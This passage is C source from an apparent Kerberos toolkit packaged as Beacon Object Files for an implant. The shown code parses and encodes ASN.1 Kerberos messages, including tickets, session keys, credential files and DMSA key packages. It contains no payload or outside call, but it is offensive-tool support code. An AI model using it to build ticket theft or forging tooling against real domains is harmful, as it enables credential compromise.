PRINT_OUT(\"integer overflow (negative)\\n\");\n                return true;\n            }\n            int ll = 0;\n            if (ValueByte(a, k, &ll))\n                return true;\n            x = (x << 8) + (long)ll;\n        }\n    }\n    else {\n        x = 0;\n        for (int k = 0; k < vlen; k++) {\n            long long l = 1;\n            l = l << 55;\n            if (x >= l) {\n//                PRINT_OUT(\"integer overflow (positive): %d >= %d\\n\", x, l);\n                return true;\n            }\n            int ll = 0;\n            if (ValueByte(a, k, &ll))\n                return true;\n            x = (x << 8) + (long)ll;\n        }\n    }\n    *ret = (long) x;\n    return false;\n}\n\nbool AsnGetOctetString3(AsnElt* a, byte* dst, int off, int* ret) {\n    if (!a)\n        return true;\n\n    if ( a->sub ) {\n        int orig = off;\n        for (int i = 0; i < a->subCount; i++) {\n            if (CheckTag(&(a->sub[i]), ASN_UNIVERSAL, ASN_OCTET_STRING))\n                return true;\n            int ii = 0;\n            if (AsnGetOctetString3(&(a->sub[i]), dst, off, &ii))\n                return true;\n            off += ii;\n        }\n        *ret = off - orig;\n        return false;\n\n    }\n    if ( dst ) {\n        *ret = CopyValue3(a, dst, off);\n        return false;\n    }\n    else {\n        *ret = ValueLength(a);\n        return false;\n    }\n}\n\nbool AsnGetOctetString(AsnElt* a, byte** ret, int* len) {\n    if (AsnGetOctetString3(a, NULL, 0, len)) return true;\n\n    *ret = MemAlloc(*len);\n    if (!*ret) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return true;\n    }\n\n    if (AsnGetOctetString3(a, *ret, 0, len))\n        return true;\n\n    return false;\n}\n\nbool AsnGetString(AsnElt* a, byte** ret) {\n    int len = 0;\n    char* r = 0;\n    if (AsnGetOctetString(a, &r, &len)) return true;\n\n    if (my_copybuf(ret, r, len + 1)) {\n        return true;\n    }\n    (*ret)[len] = 0;\n    return false;\n}\n\nbool AsnGetPrincipalName(AsnElt* a, PrincipalName* pname) {\n    if (AsnGetInteger(&(a->sub[0].sub[0]), &(pname->name_type))) return true;\n    pname->name_count = a->sub[1].sub[0].subCount;\n    pname->name_string = MemAlloc(sizeof(void*) * pname->name_count);\n    for (int i = 0; i < pname->name_count; i++) {\n        byte* s = 0;\n        int len = ValueLength(&(a->sub[1].sub[0].sub[i]));\n        if (AsnGetString(&(a->sub[1].sub[0].sub[i]), &s)) {\n            return true;\n        }\n        wchar_t* ws = 0;\n        int ws_length = 0;\n        if (DecodeUTF8(s, 0, len, &ws, &ws_length)) return true;\n\n        pname->name_string[i] = MemAlloc(ws_length);\n        KERNEL32$WideCharToMultiByte(CP_ACP, 0, ws, ws_length, pname->name_string[i], ws_length, NULL, 0);\n    }\n    return false;\n}\n\nbool AsnGetEncryptedData(AsnElt* a, EncryptedData* encdata) {\n    long long tmpLong = 0;\n    for (int i = 0;i < a->subCount; i++) {\n        switch (a->sub[i].tagValue) {\n            case 0:\n                if (AsnGetInteger(&(a->sub[i].sub[0]), &tmpLong)) return true;\n                encdata->etype = (int)tmpLong;\n                break;\n            case 1:\n                if (AsnGetInteger(&(a->sub[i].sub[0]), &tmpLong)) return true;\n                encdata->kvno = (uint)(tmpLong & 0x00000000ffffffff);\n                break;\n            case 2:\n                if (AsnGetOctetString(&(a->sub[i].sub[0]), &(encdata->cipher), &(encdata->cipher_size))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n    return false;\n}\n\nbool AsnGetTicket(AsnElt* a, Ticket* ticket) {\n    long long tmpLong = 0;\n    for (int i = 0; i < a->subCount; i++) {\n        switch (a->sub[i].tagValue) {\n            case 0:\n                if (AsnGetInteger(&(a->sub[i].sub[0]), &tmpLong)) return true;\n                ticket->tkt_vno = (INT)tmpLong;\n                break;\n            case 1:\n                if (AsnGetString(&(a->sub[i].sub[0]), &(ticket->realm))) return true;\n                break;\n            case 2:\n                if (AsnGetPrincipalName(&(a->sub[i].sub[0]), &(ticket->sname))) return true;\n                break;\n            case 3:\n                if (AsnGetEncryptedData(&(a->sub[i].sub[0]), &(ticket->enc_part))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n    return false;\n}\n\nbool AsnGetErrorCode(AsnElt* a, uint* error) {\n    long long tmpLong = 0;\n    for (int i = 0; i < a->subCount; i++) {\n        if (a->sub[i].tagValue == 6) {\n            if (AsnGetInteger(&(a->sub[i].sub[0]), &tmpLong))\n                return true;\n            *error = (uint)tmpLong;\n            break;\n        }\n    }\n    return false;\n}\n\nbool AsnGetEncryptionKey(AsnElt* a, EncryptionKey* enc_key) {\n    long long tmpLong = 0;\n    AsnElt s = a->sub[0];\n    for (int i = 0; i < s.subCount; i++) {\n        switch (s.sub[i].tagValue) {\n            case 0:\n                if (AsnGetInteger(&(s.sub[i].sub[0]), &tmpLong)) return true;\n                enc_key->key_type = (int)tmpLong;\n                break;\n            case 1:\n                if (AsnGetOctetString(&(s.sub[i].sub[0]), &(enc_key->key_value), &(enc_key->key_size))) return true;\n                break;\n            case 2:\n                if (AsnGetOctetString(&(s.sub[i].sub[0]), &(enc_key->key_value), &(enc_key->key_size))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n    return false;\n}\n\nbool AsnGetEncryptionKeySafe(AsnElt* keyElt, EncryptionKey* destKey) {\n    if (!keyElt || !destKey)\n        return true;\n\n    AsnElt* seq = keyElt;\n    if (!(seq->tagClass == 0 && seq->tagValue == 16)) {\n        if (!seq->sub || seq->subCount == 0) return true;\n        seq = &(seq->sub[0]);\n    }\n\n    // Now seq should point to the SEQUENCE with keytype[0] and keyvalue[1]\n    if (!seq->sub || seq->subCount == 0) return true;\n\n    for (int i = 0; i < seq->subCount; i++) {\n        AsnElt* field = &(seq->sub[i]);\n        if (!field->sub || field->subCount == 0) continue;\n\n        if (field->tagValue == 0) { // keytype[0] INTEGER\n            long kt = 0;\n            if (!AsnGetInteger(&(field->sub[0]), &kt))\n                destKey->key_type = (int)kt;\n        }\n        else if (field->tagValue == 1) { // keyvalue[1] OCTET STRING\n            AsnGetOctetString(&(field->sub[0]), &(destKey->key_value), &(destKey->key_size));\n        }\n    }\n    return false;\n}\n\nbool NodeAsnGetSting(AsnElt* a, int type, int* len, byte** ret) {\n    if (a->sub != NULL) {\n        PRINT_OUT(\"invalid string (constructed)\");\n        return true;\n    }\n    if (type == ASN_NumericString || type == ASN_PrintableString || type == ASN_IA5String || type == ASN_TeletexString ||type == ASN_UTCTime ||type == ASN_GeneralizedTime ){\n        if (DecodeMono(a->objBuf, a->valOff, a->valLen, type, ret, len)) return true;\n    }\n    else if (type == ASN_UTF8String){\n        //return DecodeUTF8(objBuf, valOff, valLen);\n    }\n    else if ( type == ASN_BMPString ) {\n        //return DecodeUTF16(objBuf, valOff, valLen);\n    }\n    else if (type == ASN_UniversalString) {\n        //return DecodeUTF32(objBuf, valOff, valLen);\n    }\n    else {\n        PRINT_OUT(\"unsupported string type: %d\\n\", type);\n        return true;\n    }\n    return false;\n}\n\nbool AsnGetTime2(AsnElt* a, int type, DateTime* dt) {\n    bool isGen = FALSE;\n    switch (type) {\n        case ASN_UTCTime:\n            break;\n        case ASN_GeneralizedTime:\n            isGen = TRUE;\n            break;\n        default:\n            PRINT_OUT(\"unsupported date type: %d\\n\", type);\n            return true;\n    }\n\n    int sLen = 0;\n    byte* s = 0;\n    if (NodeAsnGetSting(a, type, &sLen, &s)) return true;\n\n    for (int i = 0; i < sLen; i++) {\n        if (s[i] >= '0' && s[i] <= '9')\n            continue;\n        if (s[i] == '.' || s[i] == '+' || s[i] == '-' || s[i] == 'Z')\n            continue;\n        PRINT_OUT(\"invalid time string:\");\n        return true;\n    }\n\n    bool good = TRUE;\n    int  tzHours = 0;\n    int  tzMinutes = 0;\n    bool negZ = FALSE;\n    bool noTZ = FALSE;\n    if (s[sLen - 1] == 'Z') {\n        s[sLen - 1] = 0;\n        sLen--;\n    }\n    else {\n        int j = IndexOf(s, sLen, '+');\n        if (j < 0) {\n            int j = IndexOf(s, sLen, '-');\n            negZ = TRUE;\n        }\n        if (j < 0) {\n            noTZ = TRUE;\n        }\n        else {\n            byte* t = s + j + 1;\n        }\n    }\n\n    if ((noTZ && !isGen) || (sLen < 4)) {\n        PRINT_OUT(\"invalid time string\");\n        return true;\n    }\n    byte* stime = s;\n    int year = Dec2(stime, 0, &good);\n    if (isGen) {\n        year = year * 100 + Dec2(stime, 2, &good);\n        stime += 4;\n        sLen -= 4;\n    }\n    else {\n        if (year < 50) year += 100;\n        year += 1900;\n        stime += 2;\n        sLen -= 2;\n    }\n    int month = Dec2(stime, 0, &good);\n    int day = Dec2(stime, 2, &good);\n    int hour = Dec2(stime, 4, &good);\n    int minute = Dec2(stime, 6, &good);\n    int second = 0;\n    int millisecond = 0;\n    if (isGen) {\n        second = Dec2(stime, 8, &good);\n        if (sLen >= 12 && stime[10] == '.') {\n            stime += 11;\n            for (int i = 0; stime[i]; i++) {\n                if (stime[i] < '0' || stime[i] > '9') {\n                    good = FALSE;\n                    break;\n                }\n            }\n            millisecond = 10 * Dec2(stime, 0, &good) + Dec2(stime, 2, &good) / 10;\n        }\n        else if (sLen != 10) {\n            good = FALSE;\n        }\n    }\n    else {\n        switch (sLen) {\n            case 8:\n                break;\n            case 10:\n                second = Dec2(s, 8, &good);\n                break;\n            default:\n                PRINT_OUT(\"invalid time string\");\n                return true;\n        }\n    }\n\n    if (!good) {\n        PRINT_OUT(\"invalid time string\");\n        return true;\n    }\n\n    if (second == 60)\n        second = 59;\n\n    dt->isSet = TRUE;\n    dt->year = year;\n    dt->month = month;\n    dt->day = day;\n    dt->hour = hour;\n    dt->minute = minute;\n    dt->second = second;\n    dt->millisecond = millisecond;\n    return false;\n}\n\nbool AsnGetTime(AsnElt* a, DateTime* dt) {\n    if (a->tagClass != ASN_UNIVERSAL) {\n        PRINT_OUT(\"cannot infer date type: %d:%d\\n\", a->tagClass, a->tagValue);\n        return true;\n    }\n    return AsnGetTime2(a, a->tagValue, dt);\n}\n\nbool AsnGetLastReq(AsnElt* a, LastReq* last_req) {\n    long long tmpLong = 0;\n    AsnElt s = a->sub[0];\n    for (int i = 0; i < s.subCount; i++) {\n        switch (s.sub[i].tagValue) {\n            case 0:\n                if (AsnGetInteger(&(s.sub[i].sub[0]), &tmpLong)) return true;\n                last_req->lr_type = (int)tmpLong;\n                break;\n            case 1:\n                if (AsnGetTime(&(s.sub[i].sub[0]), &(last_req->lr_value))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n    return false;\n}\n\nbool AsnGetEncryptedPAData(AsnElt* body, EncryptedPAData* data) {\n    for (int i = 0; i < body->sub[0].subCount; i++) {\n        long long ll = 0;\n        switch (body->sub[0].sub[i].tagValue) {\n            case 1:\n                if (AsnGetInteger(&(body->sub[0].sub[i].sub[0]), &ll)) return true;\n                data->keytype = (int)ll;\n                break;\n            case 2:\n                if (AsnGetOctetString(&(body->sub[0].sub[i].sub[0]), &(data->keyvalue), &(data->keysize))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n\n    if (data->keytype == 162) { // KEY_LIST_REP\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode(data->keyvalue, data->keysize, &ae)) return true;\n        if (AsnGetEncryptionKey(&ae, &(data->encryptionKey))) return true;\n    }\n    \n    if (data->keytype == 171) { // DMSA_KEY_PACKAGE\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode(data->keyvalue, data->keysize, &ae)) return false;\n        if (!ae.sub || ae.subCount == 0) return false;\n\n        // current-keys[0] - SEQUENCE OF EncryptionKey\n        if (ae.sub[0].tagValue == 0 && ae.sub[0].sub && ae.sub[0].subCount > 0) {\n            AsnElt* keysSeq = &(ae.sub[0].sub[0]);\n            int keyCount = keysSeq->subCount;\n            if (keyCount > 0 && keysSeq->sub) {\n                data->dmsaKeyPackage.currentKeys = MemAlloc(keyCount * sizeof(EncryptionKey));\n                if (data->dmsaKeyPackage.currentKeys) {\n                    memset(data->dmsaKeyPackage.currentKeys, 0, keyCount * sizeof(EncryptionKey));\n                    data->dmsaKeyPackage.currentKeysCount = keyCount;\n                    for (int i = 0; i < keyCount; i++) {\n                        AsnGetEncryptionKeySafe(&(keysSeq->sub[i]), &(data->dmsaKeyPackage.currentKeys[i]));\n                    }\n                }\n            }\n        }\n\n        // previous-keys[1] is OPTIONAL - check subCount\n        int hasPreviousKeys = (ae.subCount == 4);\n        if (hasPreviousKeys && ae.sub[1].tagValue == 1 && ae.sub[1].sub && ae.sub[1].subCount > 0) {\n            AsnElt* keysSeq = &(ae.sub[1].sub[0]);\n            int keyCount = keysSeq->subCount;\n            if (keyCount > 0 && keysSeq->sub) {\n                data->dmsaKeyPackage.previousKeys = MemAlloc(keyCount * sizeof(EncryptionKey));\n                if (data->dmsaKeyPackage.previousKeys) {\n                    memset(data->dmsaKeyPackage.previousKeys, 0, keyCount * sizeof(EncryptionKey));\n                    data->dmsaKeyPackage.previousKeysCount = keyCount;\n                    for (int i = 0; i < keyCount; i++) {\n                        AsnGetEncryptionKeySafe(&(keysSeq->sub[i]), &(data->dmsaKeyPackage.previousKeys[i]));\n                    }\n                }\n            }\n        }\n\n        // expiration-interval and fetch-interval\n        int expIdx = hasPreviousKeys ? 2 : 1;\n        int fetchIdx = hasPreviousKeys ? 3 : 2;\n        if (ae.subCount > expIdx && ae.sub[expIdx].sub && ae.sub[expIdx].subCount > 0) {\n            AsnGetTime(&(ae.sub[expIdx].sub[0]), &(data->dmsaKeyPackage.expirationInterval));\n        }\n        if (ae.subCount > fetchIdx && ae.sub[fetchIdx].sub && ae.sub[fetchIdx].subCount > 0) {\n            AsnGetTime(&(ae.sub[fetchIdx].sub[0]), &(data->dmsaKeyPackage.fetchInterval));\n        }\n    }\n    return false;\n}\n\nbool AsnGetEncKDCRepPart(AsnElt* a, EncKDCRepPart* rep_part) {\n    for (int i = 0; i < a->subCount; i++) {\n        int tagValue = a->sub[i].tagValue;\n        if( tagValue == 0 ){\n            if (AsnGetEncryptionKey(&(a->sub[i]), &(rep_part->key))) return true;\n        }\n        if( tagValue == 1 ){\n            if (AsnGetLastReq(&(a->sub[i].sub[0]), &(rep_part->lastReq))) return true;\n        }\n        if( tagValue == 2 ){\n            long long tmpLong = 0;\n            if (AsnGetInteger(&(a->sub[i].sub[0]), &tmpLong)) return true;\n            rep_part->nonce = (uint)tmpLong;\n        }\n        if( tagValue == 3 ){\n            if (AsnGetTime(&(a->sub[i].sub[0]), &(rep_part->key_expiration))) return true;\n        }\n        if( tagValue == 4 ){\n            long long tmpLong = 0;\n            if (AsnGetInteger(&(a->sub[i].sub[0]), &tmpLong)) return true;\n            rep_part->flags = (uint)tmpLong;\n        }\n        if( tagValue == 5 ){\n            if (AsnGetTime(&(a->sub[i].sub[0]), &(rep_part->authtime))) return true;\n        }\n        if( tagValue == 6 ){\n            if (AsnGetTime(&(a->sub[i].sub[0]), &(rep_part->starttime))) return true;\n        }\n        if( tagValue == 7 ){\n            if (AsnGetTime(&(a->sub[i].sub[0]), &(rep_part->endtime))) return true;\n        }\n        if( tagValue == 8 ){\n            if (AsnGetTime(&(a->sub[i].sub[0]), &(rep_part->renew_till))) return true;\n        }\n        if( tagValue == 9 ){\n            if (AsnGetString(&(a->sub[i].sub[0]), &(rep_part->realm))) return true;\n        }\n        if( tagValue == 10 ){\n            if (AsnGetPrincipalName(&(a->sub[i].sub[0]), &(rep_part->sname))) return true;\n        }\n        if( tagValue == 12 ){\n            if (AsnGetEncryptedPAData(&(a->sub[i].sub[0]), &(rep_part->encryptedPaData))) return true;\n        }\n    }\n    return false;\n}\n\nbool AsnGetKrbCredInfo(AsnElt* body, KrbCredInfo* info) {\n    for (int i = 0; i < body->subCount; i++) {\n        int tagValue = body->sub[i].tagValue;\n        if (tagValue == 0) {\n            if (AsnGetEncryptionKey(&(body->sub[i]), &(info->key))) return true;\n        }\n        if (tagValue == 1) {\n            if (AsnGetString(&(body->sub[i].sub[0]), &(info->prealm))) return true;\n        }\n        if (tagValue == 2) {\n            if (AsnGetPrincipalName(&(body->sub[i].sub[0]), &(info->pname))) return true;\n        }\n        if (tagValue == 3) {\n            long tmpLong = 0;\n            if (AsnGetInteger(&(body->sub[i].sub[0]), &tmpLong)) return true;\n            info->flags = (uint)tmpLong;\n        }\n        if (tagValue == 4) {\n            if (AsnGetTime(&(body->sub[i].sub[0]), &(info->authtime))) return true;\n        }\n        if (tagValue == 5) {\n            if (AsnGetTime(&(body->sub[i].sub[0]), &(info->starttime))) return true;\n        }\n        if (tagValue == 6) {\n            if (AsnGetTime(&(body->sub[i].sub[0]), &(info->endtime))) return true;\n        }\n        if (tagValue == 7) {\n            if (AsnGetTime(&(body->sub[i].sub[0]), &(info->renew_till))) return true;\n        }\n        if (tagValue == 8) {\n            if (AsnGetString(&(body->sub[i].sub[0]), &(info->srealm))) return true;\n        }\n        if (tagValue == 9) {\n            if (AsnGetPrincipalName(&(body->sub[i].sub[0]), &(info->sname))) return true;\n        }\n    }\n    return false;\n}\n\nbool AsnGetEncKrbCredPart(AsnElt* body, EncKrbCredPart* cred_part) {\n    int octetStringLength = 0;\n    byte* octetString = 0;\n    if (AsnGetOctetString(&(body->sub[1].sub[0]), &octetString, &octetStringLength)) return true;\n\n    AsnElt body2 = { 0 };\n    if (BytesToAsnDecode3(octetString, octetStringLength, false, &body2)) return true;\n\n    KrbCredInfo info = { 0 };\n    if (AsnGetKrbCredInfo(&(body2.sub[0].sub[0].sub[0].sub[0]), &info)) return true;\n\n    cred_part->ticket_count = 1;\n    cred_part->ticket_info = MemAlloc(cred_part->ticket_count * sizeof(KrbCredInfo));\n    cred_part->ticket_info[0] = info;\n\n    return false;\n}\n\nbool AsnGetKrbCred(AsnElt* body, KRB_CRED* cred) {\n    for (int i = 0; i < body->subCount; i++) {\n        switch (body->sub[i].tagValue) {\n            case 0:\n                if (AsnGetInteger(&(body->sub[i].sub[0]), &(cred->pvno))) return true;\n                break;\n            case 1:\n                if (AsnGetInteger(&(body->sub[i].sub[0]), &(cred->msg_type))) return true;\n                break;\n            case 2:\n                cred->ticket_count = body->sub[i].sub[0].sub[0].subCount;\n                if (cred->ticket_count) {\n                    cred->tickets = MemAlloc(sizeof(Ticket) * cred->ticket_count);\n                    for (int j = 0; j < cred->ticket_count; j++) {\n                        Ticket ticket = { 0 };\n                        if (AsnGetTicket(&(body->sub[i].sub[0].sub[0].sub[j]), &ticket)) return true;\n                        cred->tickets[j] = ticket;\n                    }\n                }\n                break;\n            case 3:\n                if (AsnGetEncKrbCredPart(&(body->sub[i].sub[0]), &(cred->enc_part))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n    return false;\n}\n\nbool AsnGet_ETYPE_INFO2_ENTRY(AsnElt* body, ETYPE_INFO2_ENTRY* entry) {\n    for (int i = 0; i < body->sub[0].subCount; i++) {\n        long long ll = 0;\n        switch (body->sub[0].sub[i].tagValue) {\n            case 0:\n                if (AsnGetInteger(&(body->sub[0].sub[i].sub[0]), &ll)) return true;\n                entry->etype = (int)ll;\n                break;\n            case 1:\n                if (AsnGetString(&(body->sub[0].sub[i].sub[0]), &(entry->salt))) return true;\n                break;\n            default:\n                break;\n        }\n    }\n    return false;\n}\n\nbool AsnGetPaData(AsnElt* body, PA_DATA* padata) {\n    byte* valueBytes = NULL;\n    int   valueBytesLength = 0;\n\n    if (body->subCount > 1 && body->sub[0].subCount && body->sub[1].subCount) {\n        AsnGetInteger(&(body->sub[0].sub[0]), &(padata->type));\n        AsnGetOctetString(&(body->sub[1].sub[0]), &valueBytes, &valueBytesLength);\n    }\n    else if (body->subCount && body->sub[0].subCount > 1 && body->sub[0].sub[0].subCount && body->sub[0].sub[1].subCount) {\n        AsnGetInteger(&(body->sub[0].sub[0].sub[0]), &(padata->type));\n        AsnGetOctetString(&(body->sub[0].sub[1].sub[0]), &valueBytes, &valueBytesLength);\n    }\n    else {\n        return true;\n    }\n\n    switch (padata->type) {\n        case PADATA_PA_PAC_REQUEST:\n            PRINT_OUT(\"--- AsnGetPaData --- case PADATA_PA_PAC_REQUEST\");\n            //\tvalue = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));\n            break;\n        case PADATA_PK_AS_REP:\n            PRINT_OUT(\"--- AsnGetPaData --- case PADATA_PK_AS_REP\");\n            //\tvalue = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));\n            break;\n        case PADATA_PA_S4U_X509_USER:\n            break;\n        case PADATA_ETYPE_INFO2:\n            padata->value = MemAlloc(sizeof(ETYPE_INFO2_ENTRY));\n\n            int masLength = ValueLength(&(body->sub[1].sub[0]));\n            byte* mas = MemAlloc(masLength);\n            masLength = EncodeValue(&(body->sub[1].sub[0]), 0, masLength, mas, 0);\n\n            AsnElt a = { 0 };\n            if (BytesToAsnDecode(mas, masLength, &a)) return true;\n\n            if (AsnGet_ETYPE_INFO2_ENTRY(&a, padata->value)) return true;\n            break;\n    }\n    return false;\n}\n\nbool AsnGetTGS_REP(AsnElt* asn_TGS_REP, TGS_REP* tgs_rep) {\n    // TGS - REP::= [APPLICATION 13] KDC - REP\n\n    if ((asn_TGS_REP->subCount != 1) || (asn_TGS_REP->sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First TGS-REP sub should be a sequence\\n\");\n        return true;\n    }\n    AsnElt* kdc_rep = asn_TGS_REP->sub[0].sub;\n    for (int i = 0; i < asn_TGS_REP->sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->pvno))) return true;\n        }\n        if( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->msg_type))) return true;\n        }\n        if( tagValue == 2 ) {\n            if (AsnGetPaData(&(kdc_rep[i].sub[0]), &(tgs_rep->padata))) return true;\n        }\n        if( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(tgs_rep->crealm))) return true;\n        }\n        if( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(tgs_rep->cname))) return true;\n        }\n        if( tagValue == 5 ) {\n            if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(tgs_rep->ticket))) return true;\n        }\n        if( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(tgs_rep->enc_part))) return true;\n        }\n    }\n    return false;\n}\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/asn_encode.c",
    "content": "#include \"asn_convert.c\"\n#include \"crypt_enc.c\"\n\nsize_t my_wcslen(const wchar_t* str) {\n    size_t len = 0;\n    while (*str != L'\\0') {\n        len++;\n        str++;\n    }\n    return len;\n}\n\nDateTime GetLocalTimeAdd(uint add) {\n    char datatime[18];\n    SYSTEMTIME systemTime;\n    KERNEL32$GetSystemTime(&systemTime);\n    FILETIME fileTime;\n    KERNEL32$SystemTimeToFileTime(&systemTime, &fileTime);\n    ULARGE_INTEGER uli;\n    uli.LowPart = fileTime.dwLowDateTime;\n    uli.HighPart = fileTime.dwHighDateTime;\n    uli.QuadPart += ((ULONGLONG)add) * 10000000ULL;\n    fileTime.dwLowDateTime = uli.LowPart;\n    fileTime.dwHighDateTime = uli.HighPart;\n    KERNEL32$FileTimeToSystemTime(&fileTime, &systemTime);\n    DateTime dt = { 0 };\n    dt.year = systemTime.wYear;\n    dt.month = systemTime.wMonth;\n    dt.day = systemTime.wDay;\n    dt.hour = systemTime.wHour;\n    dt.minute = systemTime.wMinute;\n    dt.second = systemTime.wSecond;\n    return dt;\n}\n\nDateTime GetGmTimeAdd(UINT add) {\n    SYSTEMTIME systemTime;\n    KERNEL32$GetSystemTime(&systemTime);\n    if (add > 0) {\n        FILETIME fileTime;\n        KERNEL32$SystemTimeToFileTime(&systemTime, &fileTime);\n        ULARGE_INTEGER uli;\n        uli.LowPart = fileTime.dwLowDateTime;\n        uli.HighPart = fileTime.dwHighDateTime;\n        uli.QuadPart += ((ULONGLONG)add) * 10000000ULL;\n        fileTime.dwLowDateTime = uli.LowPart;\n        fileTime.dwHighDateTime = uli.HighPart;\n        KERNEL32$FileTimeToSystemTime(&fileTime, &systemTime);\n    }\n    DateTime dt = { 0 };\n    dt.year = systemTime.wYear;\n    dt.month = systemTime.wMonth;\n    dt.day = systemTime.wDay;\n    dt.hour = systemTime.wHour;\n    dt.minute = systemTime.wMinute;\n    dt.second = systemTime.wSecond;\n    return dt;\n}\n\nbool IsLittleEndian() {\n    int num = 1;\n    return (*((byte*)&num) == 1);\n}\n\nvoid ReverseBytes(byte* bytes, size_t length) {\n    byte temp;\n    for (size_t i = 0; i < length / 2; i++) {\n        temp = bytes[i];\n        bytes[i] = bytes[length - i - 1];\n        bytes[length - i - 1] = temp;\n    }\n}\n\nvoid FlasToBytes(UINT32 Options, byte* OptionsBytes) {\n    *((UINT32*)OptionsBytes) = Options;\n    if (IsLittleEndian())\n        ReverseBytes(OptionsBytes, sizeof(UINT32));\n}\n\n\n\nint CodePoint(wchar_t* str, int* offset) {\n    int c = str[(*offset)++];\n    if (c >= 0xD800 && c < 0xDC00 && *offset < my_strlen(str)) {\n        int d = str[(*offset)];\n        if (d >= 0xDC00 && d < 0xE000) {\n            (*offset)++;\n            c = ((c & 0x3FF) << 10) + (d & 0x3FF) + 0x10000;\n        }\n    }\n    return c;\n}\n\nbool EncodeMono(wchar_t* str, int* len, byte** ms) {\n    *len = my_wcslen(str);\n    *ms = MemAlloc(*len);\n    int k = 0;\n    while (*str != '\\0') {\n        (*ms)[k++] = *str;\n        str++;\n    }\n    return false;\n}\n\nbool EncodeUTF8(wchar_t* str, int* len, byte** ms) {\n    int k = 0;\n    int n = my_wcslen(str);\n    int capacity = 32;\n    int size = 0;\n    *ms = MemAlloc(n * 4);\n    while (k < n) {\n        int cp = CodePoint(str, &k);\n        if (cp < 0x80) {\n            (*ms)[size++] = (byte)cp;\n        }\n        else if (cp < 0x800) {\n            (*ms)[size++] = (byte)(0xC0 + (cp >> 6));\n            (*ms)[size++] = (byte)(0x80 + (cp & 63));\n        }\n        else if (cp < 0x10000) {\n            (*ms)[size++] = (byte)(0xE0 + (cp >> 12));\n            (*ms)[size++] = (byte)(0x80 + ((cp >> 6) & 63));\n            (*ms)[size++] = (byte)(0x80 + (cp & 63));\n        }\n        else {\n            (*ms)[size++] = (byte)(0xF0 + (cp >> 18));\n            (*ms)[size++] = (byte)(0x80 + ((cp >> 12) & 63));\n            (*ms)[size++] = (byte)(0x80 + ((cp >> 6) & 63));\n            (*ms)[size++] = (byte)(0x80 + (cp & 63));\n        }\n    }\n    *len = size;\n    return false;\n}\n\nbool EncodeUTF16(const wchar_t* str, int* lenr, byte** buf) {\n    size_t len = my_wcslen(str);\n    *buf = MemAlloc(len * 2);\n    int k = 0;\n    for (size_t i = 0; i < len; i++) {\n        char c = str[i];\n        (*buf)[k++] = (byte)(c >> 8);\n        (*buf)[k++] = (byte)c;\n    }\n    *lenr = len * 2;\n    return false;\n}\n\nbool EncodeUTF32(const wchar_t* str, int* len, byte** ms) {\n    size_t k = 0;\n    size_t n = my_wcslen(str);\n    size_t capacity = 32;\n    size_t size = 0;\n    *ms = MemAlloc(n * 4);\n    while (k < n) {\n        int cp = CodePoint(str, &k);\n        (*ms)[size++] = (byte)(cp >> 24);\n        (*ms)[size++] = (byte)(cp >> 16);\n        (*ms)[size++] = (byte)(cp >> 8);\n        (*ms)[size++] = (byte)cp;\n    }\n    *len = size;\n    return false;\n}\n\n\n\nbool MakePrimitiveInner(int tagClass, int tagValue, byte* val, int off, int len, AsnElt* a) {\n    a->objBufSize = len;\n    if (my_copybuf(&(a->objBuf), val + off, len)) return true;\n\n    a->objOff = 0;\n    a->objLen = -1;\n    a->valOff = 0;\n    a->valLen = len;\n    a->hasEncodedHeader = false;\n    a->tagClass = tagClass;\n    a->tagValue = tagValue;\n    a->sub = NULL;\n    a->subCount = 0;\n    return false;\n}\n\nbool MakeIntegerLong(long long x, AsnElt* asn_elt) {\n    int k = 1;\n    if (x >= 0) {\n        for (unsigned long long w = x; w >= 0x80; w >>= 8)\n            k++;\n    }\n    else {\n        for (long long w = x; w <= -(long)0x80; w >>= 8)\n            k++;\n    }\n\n    byte* v = MemAlloc(k);\n    if (!v) return true;\n    int len = k;\n    for (long long w = x; k > 0; w >>= 8)\n        v[--k] = (byte)w;\n\n    return MakePrimitiveInner(ASN_UNIVERSAL, ASN_INTEGER, v, 0, len, asn_elt);\n}\n\nbool Make4(int tagClass, int tagValue, AsnElt* subs, int subsCount, AsnElt* a) {\n    if (!a) return true;\n    if (tagClass < 0 || tagClass > 3 || tagValue < 0) {\n        PRINT_OUT(\"Invalid: tag class - %d\\n, tag value - %d\\n\", tagClass, tagValue);\n        return true;\n    }\n    a->objBuf = NULL;\n    a->objBufSize = 0;\n    a->objOff = 0;\n    a->objLen = -1;\n    a->valOff = 0;\n    a->valLen = -1;\n    a->hasEncodedHeader = false;\n    a->tagClass = tagClass;\n    a->tagValue = tagValue;\n    if (subs == NULL) {\n        a->subCount = 0;\n        a->sub = 0;\n    }\n    else {\n        a->subCount = subsCount;\n        a->sub = MemAlloc(subsCount * sizeof(AsnElt));\n        if (!a->sub) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return true;\n        }\n        for (int i = 0; i < subsCount; i++)\n            a->sub[i] = subs[i];\n    }\n    return false;\n}\n\nbool Make3(int tagValue, AsnElt* subs, int subsCount, AsnElt* a) {\n    return Make4(ASN_UNIVERSAL, tagValue, subs, subsCount, a);\n}\n\nbool MakeBlob(byte* buf, int off, int len, AsnElt* a) {\n    return MakePrimitiveInner(ASN_UNIVERSAL, ASN_OCTET_STRING, buf, off, len, a);\n}\n\nbool 